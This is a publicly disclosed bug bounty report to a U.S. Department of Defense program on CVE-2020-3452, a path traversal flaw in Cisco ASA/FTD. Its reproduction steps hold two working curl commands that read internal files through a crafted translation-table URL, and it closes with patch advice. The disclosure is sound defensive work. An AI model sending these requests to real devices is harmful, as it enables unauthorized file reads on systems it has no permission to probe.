HexBrain

U.S. Dept Of Defense · Report #936399

Path traversal on https://███ allows arbitrary file read (CVE-2020-3452)

Validstatus
highseverity
20upvotes
13 Aug 2020disclosed

How it was found

Summary: According to Cisco:

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system.

The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.

The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

An advisory can be found at the following link: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

Step-by-step Reproduction Instructions

  1. In bash, use curl -k "https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" to prove you can read internal files such as the /+CSCOE+/portal_inc.lua file.
  2. Various internal files can be read, and some require using the --output command to output the binary data to a file as shown below:
curl -k "https://█████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../" --output session.js

Suggested Mitigation/Remediation Actions

Update the software to the latest version via the Cisco advisory linked above.

Impact

A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.

The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original